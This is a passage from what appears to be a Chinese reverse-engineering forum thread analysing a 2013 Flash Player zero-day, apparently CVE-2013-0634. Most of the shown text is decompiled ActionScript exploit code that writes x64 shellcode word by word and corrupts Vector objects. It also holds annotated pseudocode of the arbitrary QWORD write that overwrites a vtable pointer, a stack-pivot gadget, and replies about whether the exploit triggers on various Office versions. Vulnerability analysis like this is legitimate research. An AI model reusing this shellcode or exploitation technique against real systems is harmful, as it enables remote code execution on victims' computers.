                _loc_17.writeUnsignedInt(0x55fc9090);
                _loc_17.writeUnsignedInt(0xf0e48348);
                _loc_17.writeUnsignedInt(0x65d23348);
                _loc_17.writeUnsignedInt(0x60528b48);
                _loc_17.writeUnsignedInt(0x18528b48);
                _loc_17.writeUnsignedInt(0x20528b48);
                _loc_17.writeUnsignedInt(0x50728b48);
                _loc_17.writeUnsignedInt(0x4ab70f48);
                _loc_17.writeUnsignedInt(0xc9334d4a);
                _loc_17.writeUnsignedInt(0xacc03348);
                _loc_17.writeUnsignedInt(0x27c613c);
                _loc_17.writeUnsignedInt(0xc141202c);
                _loc_17.writeUnsignedInt(0x3440dc9);
                _loc_17.writeUnsignedInt(0x52ede2c8);
                _loc_17.writeUnsignedInt(0xba495141);
                _loc_17.writeUnsignedInt(0x92af16da);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(0x75ca3b4d);
                _loc_17.writeUnsignedInt(0x528b4845);
                _loc_17.writeUnsignedInt(0x3c428b20);
                _loc_17.writeUnsignedInt(0x8bc20348);
                _loc_17.writeUnsignedInt(0x8880);
                _loc_17.writeUnsignedInt(0xc0854800);
                _loc_17.writeUnsignedInt(0x81483074);
                _loc_17.writeUnsignedInt(0x180ec);
                _loc_17.writeUnsignedInt(0xfc8b4800);
                _loc_17.writeUnsignedInt(0x80ec8148);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x8b50c203);
                _loc_17.writeUnsignedInt(0x8b441848);
                _loc_17.writeUnsignedInt(0x34c2040);
                _loc_17.writeUnsignedInt(0x4c8948c2);
                _loc_17.writeUnsignedInt(0x894c1824);
                _loc_17.writeUnsignedInt(0x48202444);
                _loc_17.writeUnsignedInt(0x28244489);
                _loc_17.writeUnsignedInt(0x594108eb);
                _loc_17.writeUnsignedInt(0x128b485a);
                _loc_17.writeUnsignedInt(0x415182eb);
                _loc_17.writeUnsignedInt(0xdaba4950);
                _loc_17.writeUnsignedInt(0x14fdaf6);
                _loc_17.writeUnsignedInt(0xe8000000);
                _loc_17.writeUnsignedInt(315);
                _loc_17.writeUnsignedInt(0x49078948);
                _loc_17.writeUnsignedInt(0xae572dba);
                _loc_17.writeUnsignedInt(347);
                _loc_17.writeUnsignedInt(0x129e800);
                _loc_17.writeUnsignedInt(0x89480000);
                _loc_17.writeUnsignedInt(0xba490847);
                _loc_17.writeUnsignedInt(0x528796c6);
                _loc_17.writeUnsignedInt(1);
                _loc_17.writeUnsignedInt(0x116e8);
                _loc_17.writeUnsignedInt(0x47894800);
                _loc_17.writeUnsignedInt(0x4cba4910);
                _loc_17.writeUnsignedInt(0x1072677);
                _loc_17.writeUnsignedInt(0xe8000000);
                _loc_17.writeUnsignedInt(259);
                _loc_17.writeUnsignedInt(0x18478948);
                _loc_17.writeUnsignedInt(0xf330ba49);
                _loc_17.writeUnsignedInt(0xe449);
                _loc_17.writeUnsignedInt(0xf0e80000);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x48204789);
                _loc_17.writeUnsignedInt(0x8d48f78b);
                _loc_17.writeUnsignedInt(0x80be);
                _loc_17.writeUnsignedInt(0x40b900);
                _loc_17.writeUnsignedInt(0x33480000);
                _loc_17.writeUnsignedInt(0xb9abf3c0);
                _loc_17.writeUnsignedInt(256);
                _loc_17.writeUnsignedInt(0x80868d48);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x8b48d08b);
                _loc_17.writeUnsignedInt(0x568b4cd8);
                _loc_17.writeUnsignedInt(0xd2ff4120);
                _loc_17.writeUnsignedInt(0x80868d48);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0x3348c933);
                _loc_17.writeUnsignedInt(0x30c8adb);
                _loc_17.writeUnsignedInt(0x80c3ff48);
                _loc_17.writeUnsignedInt(0xf57500f9);
                _loc_17.writeUnsignedInt(0xc7cbff48);
                _loc_17.writeUnsignedInt(0x6f630304);
                _loc_17.writeUnsignedInt(0x44c7666e);
                _loc_17.writeUnsignedInt(0x67690403);
                _loc_17.writeUnsignedInt(0x44c7642e);
                _loc_17.writeUnsignedInt(0x6c6c0803);
                _loc_17.writeUnsignedInt(0x33450000);
                _loc_17.writeUnsignedInt(0x44c748c9);
                _loc_17.writeUnsignedInt(0x3024);
                _loc_17.writeUnsignedInt(0x8d480000);
                _loc_17.writeUnsignedInt(0x808e);
                _loc_17.writeUnsignedInt(0x2b84100);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0xc2c7);
                _loc_17.writeUnsignedInt(0x44c74000);
                _loc_17.writeUnsignedInt(0x802824);
                _loc_17.writeUnsignedInt(0x44c70000);
                _loc_17.writeUnsignedInt(0x22024);
                _loc_17.writeUnsignedInt(0x8b4c0000);
                _loc_17.writeUnsignedInt(0xd2ff4116);
                _loc_17.writeUnsignedInt(0x48d88b48);
                _loc_17.writeUnsignedInt(0xffff883);
                _loc_17.writeUnsignedInt(0x9c84);
                _loc_17.writeUnsignedInt(0x4c8d4c00);
                _loc_17.writeUnsignedInt(0xba484024);
                _loc_17.writeUnsignedInt(_loc_12 + 900);
                _loc_17.writeUnsignedInt(_loc_31);
                _loc_17.writeUnsignedInt(0xb8419090);
                _loc_17.writeUnsignedInt(_loc_35.length);
                _loc_17.writeUnsignedInt(0x48cb8b48);
                _loc_17.writeUnsignedInt(0x202444c7);
                _loc_17.writeUnsignedInt(0);
                _loc_17.writeUnsignedInt(0x8568b4c);
                _loc_17.writeUnsignedInt(0x48d2ff41);
                _loc_17.writeUnsignedInt(0x7400f883);
                _loc_17.writeUnsignedInt(0xcb8b486c);
                _loc_17.writeUnsignedInt(0x10568b4c);
                _loc_17.writeUnsignedInt(0x48d2ff41);
                _loc_17.writeUnsignedInt(0x808e8d);
                _loc_17.writeUnsignedInt(0x8b4c0000);
                _loc_17.writeUnsignedInt(0xff411856);
                _loc_17.writeUnsignedInt(0x4852ebd2);
                _loc_17.writeUnsignedInt(0x10244c8b);
                _loc_17.writeUnsignedInt(0x24448b4c);
                _loc_17.writeUnsignedInt(0xc9ff4808);
                _loc_17.writeUnsignedInt(0x88348b41);
                _loc_17.writeUnsignedInt(0x4df20348);
                _loc_17.writeUnsignedInt(0x3348c933);
                _loc_17.writeUnsignedInt(0xc141acc0);
                _loc_17.writeUnsignedInt(0x3440dc9);
                _loc_17.writeUnsignedInt(0x75c43ac8);
                _loc_17.writeUnsignedInt(0xc18149f1);
                _loc_17.writeUnsignedInt(0x92af16da);
                _loc_17.writeUnsignedInt(0x75ca3b45);
                _loc_17.writeUnsignedInt(0x448b48d8);
                _loc_17.writeUnsignedInt(0x8b444024);
                _loc_17.writeUnsignedInt(0x34c2440);
                _loc_17.writeUnsignedInt(0x8b4166c2);
                _loc_17.writeUnsignedInt(0x8b44480c);
                _loc_17.writeUnsignedInt(0x34c1c40);
                _loc_17.writeUnsignedInt(0x48b41c2);
                _loc_17.writeUnsignedInt(0xc2034888);
                _loc_17.writeUnsignedInt(0xb94990c3);
                _loc_17.writeUnsignedInt(_loc_10);
                _loc_17.writeUnsignedInt(_loc_31);
                _loc_17.writeUnsignedInt(0x1001c741);
                _loc_17.writeUnsignedInt(0x4d000000);
                _loc_17.writeUnsignedInt(0xff70818d);
                _loc_17.writeUnsignedInt(0x8b49ffff);
                _loc_17.writeUnsignedInt(0x894901);
                _loc_17.writeUnsignedInt(0x8418b49);
                _loc_17.writeUnsignedInt(0x8408949);
                _loc_17.writeUnsignedInt(0xb9499090);
                _loc_17.writeUnsignedInt(_loc_11);
                _loc_17.writeUnsignedInt(_loc_31);
                _loc_17.writeUnsignedInt(0xb8419090);
                _loc_17.writeUnsignedInt(_loc_16);
                _loc_17.writeUnsignedInt(0x41018945);
                _loc_17.writeUnsignedInt(0x441c7);
                _loc_17.writeUnsignedInt(0x48000000);
                _loc_17.writeUnsignedInt(0xc3a8658d);
                _loc_17.writeUnsignedInt(0x90909090);
                _loc_15 = (_loc_11 - _loc_10 - 16) / 8;
                (_loc_5[_loc_7][_loc_22] as Vector.<Number>)[_loc_15] = this.UintToDouble(_loc_12, _loc_31);
                new Number(_loc_6.toString());
                return;
            }
            while (1)
            {
                
            }
            return;
        }// end function

        public function randRange(param1:Number, param2:Number) : Number
        {
            var _loc_3:* = Math.floor(Math.random() * (param2 - param1 + 1)) + param1;
            return _loc_3;
        }// end function

        public function empty() : void
        {
            var _loc_1:* = new TextField();
            _loc_1.autoSize = TextFieldAutoSize.LEFT;
            var _loc_2:* = new TextFormat();
            _loc_2.size = 30;
            _loc_2.font = "Arial";
            _loc_2.color = 0xff0000;
            _loc_1.setTextFormat(_loc_2);
            _loc_1.text = "      ";
            addChild(_loc_1);
            return;
        }// end function

        public function UintToDouble(param1:uint, param2:uint) : Number
        {
            var _loc_3:* = new ByteArray();
            _loc_3.endian = Endian.LITTLE_ENDIAN;
            _loc_3.writeInt(param1);
            _loc_3.writeInt(param2);
            _loc_3.position = 0;
            return _loc_3.readDouble();
        }// end function

        public function ReadDouble(param1:Vector.<Number>, param2:uint) : Vector.<uint>
        {
            new Vector.<uint>(2)[0] = 0;
            new Vector.<uint>(2)[1] = 0;
            var _loc_3:* = new Vector.<uint>(2);
            var _loc_4:* = param1[param2];
            var _loc_5:* = new ByteArray();
            new ByteArray().position = 0;
            _loc_5.writeDouble(_loc_4);
            _loc_3[1] = _loc_5[0] * 0x1000000 + _loc_5[1] * 0x10000 + _loc_5[2] * 256 + _loc_5[3];
            _loc_3[0] = _loc_5[4] * 0x1000000 + _loc_5[5] * 0x10000 + _loc_5[6] * 256 + _loc_5[7];
            return _loc_3;
        }// end function

    }
}
unsigned int __thiscall sub_1054EA10(void *this, unsigned int a2, int a3)
{
  void *v3; // esi@1
  int v4; // ecx@1
  int v5; // ebx@1
  unsigned int result; // eax@4
  unsigned int v7; // esi@6
  int v8; // eax@9
  double v9; // [sp+Ch] [bp-8h]@1

  v3 = this;
  v9 = sub_10505BD0(a3);
  v4 = *((_DWORD *)v3 + 6);
  v5 = (int)((char *)v3 + 24);
  if ( a2 >= *(_DWORD *)v4 && a2 >= *(_DWORD *)v4 - (unsigned int)*((_BYTE *)v3 + 20) + 1 )
    sub_1054D2D0(v3, a2);
  result = *(_DWORD *)v5;
  if ( a2 >= **(_DWORD **)v5 )
  {
    if ( a2 <= 0xFFFFFFFE )
      v7 = a2 + 1;
    else
      v7 = -1;
    if ( result & 0xFFF )
      v8 = *(_WORD *)((result & 0xFFFFF000) + 0x12);
    else
      v8 = sub_104A2BE0(*(_DWORD *)v5);
    if ( v7 > (unsigned int)(v8 - 8) >> 3 )
      sub_1051DDD0(v5, v7);
    result = sub_1051B170(a2 + 1);
  }
  *(_QWORD *)(*(_DWORD *)v5 + 8 * a2 + 8) = *(_QWORD *)&v9; // a2和v9可控导致任意地址QWORD写从而覆盖某对象的虚函数表指针
  return result;
}
08125540    8B01            mov     eax, dword ptr [ecx]              ; eax = 0x06944000
08125542    8B50 70         mov     edx, dword ptr [eax+70]           ; edx = 0x084CDC60
08125545    FFD2            call    edx
084CDC60    94              xchg    eax, esp                          ; stackpivot

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 6
支持
分享
最新回复 (22)
雪    币: 115
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
先收下~回头学习啦~
2013-2-12 03:57
0
雪    币: 106
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
a2和v9可控导致任意地址QWORD写从而覆盖某对象的虚函数表指针

这句话真难找啊
2013-2-12 10:24
0
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
4
写的仓促了,更正了一下
我觉得这个漏洞应该归为Memory Corruption,所以应该是CVE-2013-0634
2013-2-12 12:04
0
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
5
Smashing the Heap with Vector:
Advanced Exploitation Technique in Recent Flash Zero-day Attack
Haifei Li大牛的Paper来啦
分析总算是完整啦
上传的附件:
2013-2-13 12:56
0
雪    币: 284
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
mark!!!!!!!!
2013-2-13 13:18
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
7
在office 2003和office 2007下不会成功么?
2013-2-13 15:36
0
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
8
和Office没有关系吧
2013-2-13 15:56
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
9
没触发成功,flash版本没有问题,office 2003 office 2007都没成功。。。
2013-2-14 09:06
0
雪    币: 62
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
好东东,学习。。。
2013-2-14 09:41
0
雪    币: 269
活跃值: (906)
能力值: ( LV12,RANK:345 )
在线值:
发帖
回帖
粉丝
11
顶下,最近也在看挖掘,请问是首发吗?
2013-2-15 21:45
0
雪    币: 269
活跃值: (906)
能力值: ( LV12,RANK:345 )
在线值:
发帖
回帖
粉丝
12
顶下,最近也在看这方面书,请问楼主是自己挖的吗?
2013-2-15 21:47
0
雪    币: 58
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
13
这个洞挖的太神了.

看来as的底裤要被扒下来了
2013-2-16 14:46
0
雪    币: 21
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
分析得不错,学习学习
2013-2-18 11:20
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
15
都能够成功,你再仔细测试下
2013-2-18 16:39
0
雪    币: 403
活跃值: (330)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
16
堆溢出,楼主溢出位置找的好像...好像不对:)

.text:105299B2                 mov     byte ptr [eax], 53h
2013-2-19 16:51
0
雪    币: 403
活跃值: (330)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
17
如果仅分析漏洞原理,用Flex SDK编译附件生成SWF即可
上传的附件:
2013-2-19 16:51
0
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
18
[QUOTE=cscoder;1144280]堆溢出,楼主溢出位置找的好像...好像不对:)

.text:105299B2                 mov     byte ptr [eax], 53h[/QUOTE]

那是向Vector写Double的位置,正则表达式的部分我没分析,只是分析利用而已,有空再补上
2013-2-19 17:21
0
雪    币: 589
活跃值: (119)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
19
[QUOTE=cscoder;1144280]堆溢出,楼主溢出位置找的好像...好像不对:)

.text:105299B2                 mov     byte ptr [eax], 53h[/QUOTE]

补上了亲
2013-2-21 15:52
0
雪    币: 5
活跃值: (369)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
没触发什么啊。。
2013-2-25 17:28
0
雪    币: 67
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
看不懂分析文章,找不到shellcode在哪里啊
2013-3-13 10:29
0
雪    币: 54
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
求flash的环境
2013-3-14 09:27
0
雪    币: 67
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
我的也没有成功,郁闷
2013-3-14 17:34
0
游客
登录 | 注册 方可回帖
返回
//